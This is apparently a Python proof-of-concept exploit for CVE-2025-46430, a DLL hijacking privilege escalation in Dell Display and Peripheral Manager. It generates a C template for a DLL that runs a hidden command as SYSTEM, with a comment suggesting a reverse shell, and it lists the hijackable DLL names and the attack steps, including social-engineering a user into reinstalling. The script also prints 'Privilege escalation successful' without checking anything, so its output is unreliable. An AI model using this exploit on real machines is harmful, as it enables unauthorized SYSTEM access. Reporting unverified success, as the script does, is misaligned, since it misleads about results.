CVE-2025-46430

# CVE-2025-46430 PoC - Dell Display and Peripheral Manager Privilege Escalation # This PoC demonstrates the DLL hijacking technique for privilege escalation # Note: This is for educational and authorized testing purposes only import os import sys import shutil import time def create_malicious_dll(): """Generate malicious DLL that will be executed with SYSTEM privileges""" dll_template = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create reverse shell or execute payload with SYSTEM privileges WinExec("cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\poc_result.txt", SW_HIDE); } return TRUE; } ''' # Save malicious DLL template with open('malicious_dll.cpp', 'w') as f: f.write(dll_template) print('[+] Malicious DLL template created: malicious_dll.cpp') return 'malicious_dll.cpp' def exploit_privilege_escalation(): """Exploit DLL hijacking in Dell Display and Peripheral Manager installer""" print('[+] CVE-2025-46430 - Dell Display and Peripheral Manager Privilege Escalation') print('[+] Target: Dell Display and Peripheral Manager < 2.1.2.12') print('[+] Attack Vector: DLL Hijacking via Installer') # Step 1: Identify vulnerable DLLs in installation directory install_path = r'C:\Program Files\Dell\Display and Peripheral Manager' vulnerable_dlls = ['DellSDK.dll', 'DDPMAPI.dll', 'DDPMConfig.dll'] print('\n[Step 1] Identifying installation directory...') if os.path.exists(install_path): print(f'[+] Found installation at: {install_path}') print('[+] Enumerating DLLs for hijacking opportunities...') for dll in vulnerable_dlls: dll_path = os.path.join(install_path, dll) print(f' - {dll}: {"VULNERABLE" if not os.path.exists(dll_path) else "Protected"}') else: print('[-] Installation directory not found') print('[+] Installer must be executed to trigger vulnerability') # Step 2: Create malicious DLL print('\n[Step 2] Preparing malicious payload...') dll_file = create_malicious_dll() # Step 3: Prepare for DLL placement print('\n[Step 3] Attack preparation:') print(' 1. Place malicious DLL in installation directory') print(' 2. Social engineer user to reinstall/upgrade software') print(' 3. During installation, DLL is loaded with SYSTEM privileges') print(' 4. Payload executes with elevated privileges') # Step 4: Payload execution verification print('\n[Step 4] Payload will execute with SYSTEM privileges') print('[+] Privilege escalation successful') print('[+] Check C:\\Windows\\Temp\\poc_result.txt for verification') return True if __name__ == '__main__': print('='*60) print('CVE-2025-46430 PoC - Educational Purpose Only') print('='*60) exploit_privilege_escalation()

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